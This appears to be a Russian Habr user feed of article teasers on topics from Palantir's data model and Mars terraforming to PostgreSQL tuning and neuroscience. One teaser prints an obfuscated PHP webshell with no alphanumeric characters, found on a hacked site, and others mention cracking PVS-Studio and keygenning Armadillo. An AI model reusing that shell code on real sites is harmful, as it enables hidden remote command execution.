Pull to refresh
17
0
Send message

Palantir: Объектная модель

Reading time9 min
Views8.7K
Шрияс Виджайкумар, ведущий инженер по внедрению, расскажет про еще один элемент внутренней кухни системы Palantir.



Как организации управляются с данными, на текущий момент?
В существующих системах встречаются довольно распространенные артефакты, и многие из них, если не все, вам знакомы:
  • пользователи часто оставляют заметки для себя в имени файла, так что мы можем встретить конструкции вида отправить_по_почте.пятница.10_утра.не_стирать!!;
  • каждое изменение онтологии требует модификации всей схемы;
  • данные из разных источников невозможно исследовать вместе, в одной среде, так что у вас может быть база данных людей и трафика сообщений, которые приходится исследовать по отдельности;
  • пересинхронизация данных нецелесообразна или невозможна, — а это часто бывает нужно;
  • информация не может быть прослежена до её источника.

Что мы принципиально иначе делаем в Palantir?
Когда мы разрабатывали систему, мы много работали с обратной связью от сообщества. Первое, что мы постарались запроектировать — это максимальная гибкость системы, дающая возможность моделировать все что угодно.

Гибкость означает, возможность работать с любыми типами данных в одном общем пространстве: от высокоструктурированных, таких как базы данных с выстроенными отношениями, до неструктурированных, таких как хранилище трафика сообщений, а также всех, находящихся между этими крайностями. Это также означает возможность создавать множество разнообразных полей для исследования без привязки к одной модели построения. Как и организация, они могут изменяться и эволюционировать со временем.

Следующей вещью, которую мы спроектировали, стало обобщение данных без потерь. Нам нужна платформа, которая бы отслеживала каждый обрывок информации до его источника или источников. В мультиплатформенной системе важное значение имеет контроль доступа, особенно если такая система, позволяет совершать всю полноту действий с данными.

Total votes 10: ↑6 and ↓4+2
Comments3

Нужно ли Марсу магнитное поле?

Reading time7 min
Views47K


Продолжаем рубрику "Прикладное терраформирование". В предыдущем выпуске мы оценили марсианские запасы углекислотного льда, и человеческие возможности по его преобразованию в атмосферу. Сегодня поговорим о том есть ли какой-либо смысл наполнять атмосферу Марса в условиях отсутствия магнитного поля.
Читать дальше →
Total votes 74: ↑74 and ↓0+74
Comments60

Модель телескопа для распечатки на 3D-принтере

Reading time2 min
Views13K


Собрать собственный телескоп и наблюдать за звёздами прямо с крыши своего дома — что может быть заманчивее? Скоро мечта каждого любителя астрономии станет реальностью.

Группа энтузиастов из Лондона создала некоммерческую организацию Open Space Agency и поставила целью разработать модель простого, но мощного телескопа Ultrascope, который можно изготовить своими силами с использованием 3D-печати, лазерной резки и конструктора Arduino. «Цифровой» телескоп управляется дистанционно с мобильного приложения. Фотографии тоже делаются со смартфона или планшета.
Читать дальше →
Total votes 14: ↑14 and ↓0+14
Comments21

Исследование защиты PVS-Studio

Reading time4 min
Views55K
PVS-Studio

Приветствую! Это мой первый пост на Хабре в принципе, но не первая статья о взломе ПО вообще, поэтому навык писать все с начала и по шагам, для начинающих крякеров, у меня есть. В данной статье я расскажу о том, как был отучен от триальности PVS-Studio.
Читать дальше →
Total votes 144: ↑123 and ↓21+102
Comments131

История китайской космонавтики

Reading time5 min
Views126K
Собственно, мне в руки попал смартфон, который в полной мере поддерживает навигацию с использованием китайской навигационной системы 北斗(Большая Медведица). На рынок эти смартфоны должны выйти в середине-конце 2014 года, но дело не в этом.
Я задумался о том, на чем же эта система работает, кто и что выводило эти спутники на орбиту и решил написать краткий обзор истории развития китайской космонавтики. Кому интересно — добро пожаловать под кат. Много тяжелых фотографий.


Читать дальше →
Total votes 163: ↑159 and ↓4+155
Comments120

Назад в прошлое: Печать фотографий на фотоувеличителе

Reading time10 min
Views120K
imageНедавно мне захотелось обновить воспоминания далёкого детства, когда напечатанные фотографии рождались не в фотолабораториях, а каким-то магическим образом из света и тени возникали в чуланах и ваннах обычных советских граждан. Несмотря на те смутные воспоминания, опыта печати фотографий на у меня никогда не было, так что это будет статья абсолютного нуба, попробовавшего разобраться в том, как работают технологии двадцатилетней давности и как запустить всю эту кухню в современных реалиях.
Вероятно, у старшего поколения всё это вызовет лишь улыбку, но ведь из тех, кому нет 30 лет лишь единицы имеют опыт печати фотографий. И сейчас даже отдалённое понимание того, какими способами такие люди как Энсель Адамс или Майкл Кенна достигали или достигают шедевральности своих фотографий уходит потихоньку в историю.
Читать дальше →
Total votes 64: ↑60 and ↓4+56
Comments69

144-ядерный процессор Чарльза Мура поступил в продажу по $20

Reading time2 min
Views45K
Чарльз Мур, создатель языка программирования Форт (Forth), довёл до стадии промышленного производства уникальную разработку — многоядерный процессор GA144. Чип размером 10х10 мм уже поступил в продажу по цене $20 (при заказе от десяти штук), также доступны материнские платы для него. Фактически, это аппаратное воплощение самого языка программирования Форт.

Крайне необычный процессор по ряду параметров не имеет себе равных среди CPU:
  • 144 независимых ядра, которые активируются только при поступлении инструкции, то есть у этого процессора нет такой характеристики как «тактовая частота»;
  • скорость выполнения инструкций 1400 пикосекунд (эквивалент 700 МГц);
  • энергопотребление 7 пикоджоулей на одну инструкцию;
  • энергопотребление в «спящем» режиме менее 100 нановатт;
Читать дальше →
Total votes 216: ↑209 and ↓7+202
Comments135

PHP-шелл без единого буквенно-цифрового символа

Reading time1 min
Views89K
Вчера в блоге компании Sucuri появился любопытный вопрос: некий владелец сайта, обнаружив его взломанным, был немало удивлён, обнаружив следующий злонамеренный код; что именно он делает?
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$ 
$_[$__+ $__] ;$_[@-_]($_[@!+_] );

Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.
Узнать подробности
Total votes 119: ↑105 and ↓14+91
Comments33

Как правильно сортировать контент на основе оценок пользователей

Reading time5 min
Views91K


В оригинале название звучит как «How Not To Sort By Average Rating». Я подумал, что дословный перевод «Как не сортировать по усреднённому рейтингу» будет малопонятен и хуже отражает содержание статьи.

Постановка проблемы


Вы занимаетесь веб программированием. У вас есть пользователи, которые оценивают контент на вашем сайте. Вы хотите разместить высоко оцененный контент наверху, а низко оцененный — внизу. Для этого на основе пользовательских оценок вам нужно вычислить некий «рейтинг».

Неправильное решение №1

Рейтинг= (Число положительных оценок) - (Число отрицательных оценок)

Читать дальше →
Total votes 458: ↑423 and ↓35+388
Comments134

Закрытие эмулятора Diablo III Близзардами

Reading time2 min
Views35K
Довольно неприятная вещь случилась не так давно (3 дня назад). Почти подтверждена информация, что Blizzard закрыли opensource эмулятор Diablo 3 (Mooege).



Для тех, кто не в курсе, немного введу в курс дела, какую взаимосвязь имеет OpenSource и некоторые проекты Blizzard. Те, кто в курсе — могут пропустить абзац.
Читать дальше →
Total votes 114: ↑99 and ↓15+84
Comments158

Что я узнал про интерфейсы в реальном мире в Китае

Reading time8 min
Views85K
Вот типичная форма подключения к вай-фаю. Она вообще-то на огромной странице с кучей иероглифов, но серая подложка помогла мне понять, что это и есть самая важная форма подключения, а остальное — справка и реклама.



Иконки важны. Судя по ним, галочка внизу — это, почти наверняка, «я согласен с условиями». Телефон вверху — наверняка номер. Дальше — замок — это пароль. Оба поля активные, то есть логин и пароль у меня должны быть сразу, так?

Нет, нифига, китайский UX подразумевает, что я сначала введу телефон и нажму оранжевую кнопку (цвета иконки — и да, это кнопка!). Получу пароль и введу его во второе поле, а потом нажму зелёную кнопку. Робот сравнит телефон с паролем и пустит меня дальше. Эту форму, скорее всего, рисовал китаец.


А это обычная такая телефонная будка раннего космического века

Сейчас покажу ещё несколько вещей, рождённых в стране, где квалифицированных инженеров примерно раз в двадцать больше, чем в Америке, а состояние изобретательности «советского инженера» ещё не пройдено. Я, конечно, опять продолжу свою историю и покажу интерфейсы в реальном мире — они не менее интересны с точки зрения юзабилити, нежели HCI, и не менее полезны для понимания, как можно работать с пользователем.
Читать дальше →
Total votes 122: ↑115 and ↓7+108
Comments94

Как исправить осанку с помощью Kickstarter'а: подборка интересных «неврологических» проектов

Reading time5 min
Views21K
Заболевания спины и позвоночника — массовая проблема и сегодня, и в обозримом будущем, и каждый по-своему будет ее решать в зависимости от опыта, знаний, советов врачей или друзей. В качестве превентивной меры мы также вольны выбирать хоть электронные корректоры, хоть специальные датчики дыхания, хоть подушки с пульсометром, хоть корсеты, и на все это когда-то собирались деньги на краудфандинговых площадках.



Под катом — немного ссылок, гифок, фотографий и подробностей
Читать дальше →
Total votes 16: ↑13 and ↓3+10
Comments8

В Сети опубликован секретный каталог шпионского оборудования спецслужб США для наблюдения за сотовыми телефонами граждан

Reading time2 min
Views19K


Сегодня в Сети появилась интереснейшая информация — каталог оборудования, которое используется спецслужбами США для наблюдения за сотовыми устройствами граждан страны. Каталог был выложен ресурсом The Intercept, а журналисты сайта получили информацию от работника спецслужб, которому не нравится ужесточение мер наблюдения за гражданами в стране.

Всего в каталоге 53 устройства, включая довольно известные сейчас системы наблюдения Stingray I/II. Радиус действия — около 200 метров, а стоимость такого гаджета составляет $134000. В общем-то, ничего сколько-нибудь дешевого в каталоге и нет, спецслужбы и военные (они тоже используют такое оборудование) явно не жалеют денег на подобные вещи.
Читать дальше →
Total votes 21: ↑19 and ↓2+17
Comments7

Применение машинного обучения для увеличения производительности PostgreSQL

Reading time10 min
Views22K
image

Машинное обучение занимается поиском скрытых закономерностей в данных. Растущий рост интереса к этой теме в ИТ-сообществе связан с исключительными результатами, получаемыми благодаря ему. Распознавание речи и отсканированных документов, поисковые машины — всё это создано с использованием машинного обучения. В этой статье я расскажу о текущем проекте нашей компании: как применить методы машинного обучения для увеличения производительности СУБД.
В первой части этой статьи разбирается существующий механизм планировщика PostgreSQL, во второй части рассказывается о возможностях его улучшения с применением машинного обучения.

Читать дальше →
Total votes 45: ↑44 and ↓1+43
Comments6

Как попасть на дачу президента в пять часов утра

Reading time6 min
Views322K
Этот пост о том, как обычный взлом обернулся муками совести и душевными терзаниями. Исходников будет не много, больше фоток и анализа. Итак, некто Вася работает «плохим парнем». Степень падения Васи такова, что средства на жизнь ему приносит поиск и разбор информации, доступ к которой был скомпрометирован вследствие неграмотного обслуживания, безалаберности или экономии на обслуживающем персонале.


Читать дальше →
Total votes 392: ↑385 and ↓7+378
Comments441

Папы тоже едят за двоих: в сперме содержится информация о весе отца

Reading time2 min
Views15K
Папы тоже едят за двоих – это выяснили датские учёные. Вес мужчины влияет на генетическую информацию, передаваемую по наследству. Сперматозоиды худых и полных мужчин имеют различные эпигенетические маркеры, ответственные за развитие области мозга, отвечающей контроль аппетита. Исследователи получили объяснение, почему дети полных отцов предрасположены к излишнему весу.

image
Читать дальше →
Total votes 15: ↑11 and ↓4+7
Comments22

Как была закейгенена Armadillo, взломана PSP и скомпрометированы все DSA ключи в Debian. Или еще раз о слабых ГПСЧ и (EC)DSA

Reading time3 min
Views46K
armadillo Лет семь назад попал в руки крякеров архив с сорцом генератора ключей для протектора под названием Armadillo. Просто кое-кому из благодарных пользователей продукта захотелось проверить его на прочность. А где еще получишь бесплатный аудит такого интересного кода, как не на крякерском форуме.

Этот генератор нужен был для того, чтобы при покупке клиентом вашей программы, защищенной Armadillo, мерчант смог сам автоматически сгенерировать для неё лицензионный ключ. Так же, он использовался в самой Armadillo и, если б была возможность узнать секрет, то можно было бы сделать кейген для неё самой. Что делало аудит кода вдвойне интересным.

Итак, вот он, оригинальный, добытый путём титанических усилий, архив. (исходник на C)

Попробуйте без подсказок понять, в чем именно сокрыта уязвимость. Там хоть и куча кода, но он хорошо читаем. Не получилось? А если глянуть на 528 строчку?
Читать дальше →
Total votes 120: ↑117 and ↓3+114
Comments17

Гарвардские нейробиологи доказали, что нейроны и нейронные сети в мозгу могут менять свой тип и функциональность

Reading time2 min
Views13K
image

Нейробиологи из Гарвардского института стволовых клеток в своей новой работе показали, что сети связей между нейронами в мозгу могут перестраиваться в результате изменения ролей отдельных нейронов. Эти же учёные ранее доказали, что нейроны способны «перепрограммироваться» и менять свою роль – это открытие изменило представление науки о работе клеток мозга.

«В нашей работе мы показали, что во-первых, нейроны в мозгу могут радикально менять свой тип с одного на другой,- говорит Паола Арлотта [Paola Arlotta], профессор в области стволовых клеток и регенеративной биологии. – А во-вторых, соседние нейроны способны воспринимать изменение роли клеток и адаптировать свои коммуникации к их новой роли».

Вообще, «перепрограммирование» клеток организма было продемонстрировано ещё в 2008 году – тогда гарвардские биологи смогли заставить экзокринные клетки поджелудочной железы превратиться в бета-клетки, производящие гормон инсулин.
Читать дальше →
Total votes 18: ↑17 and ↓1+16
Comments8

Донорские клетки с отредактированным геномом подтвердили свою эффективность в борьбе с лейкемией

Reading time7 min
Views8.6K
Приветствуем вас на страницах блога iCover. Начало ноября 2015 года ознаменовалось событием, привлекшим внимание многих онкологов и генных инженеров планеты. Устойчивой ремиссии в лечении рака у человека удалось достичь благодаря использованию донорских иммунных Т-клеток с отредактированным геномом. А первым пациентом, испытавшим на себе возможности предложенного метода стала годовалая девочка из Великобритании, страдавшая от одного из самых агрессивных видов рака – острого лимфобластного лейкоза. О методе, лечении Лейлы Ричардс и достигнутых результатах мы расскажем в нашей публикации.


Читать дальше →
Total votes 19: ↑19 and ↓0+19
Comments1
1
23 ...

Information

Rating
Does not participate
Registered
Activity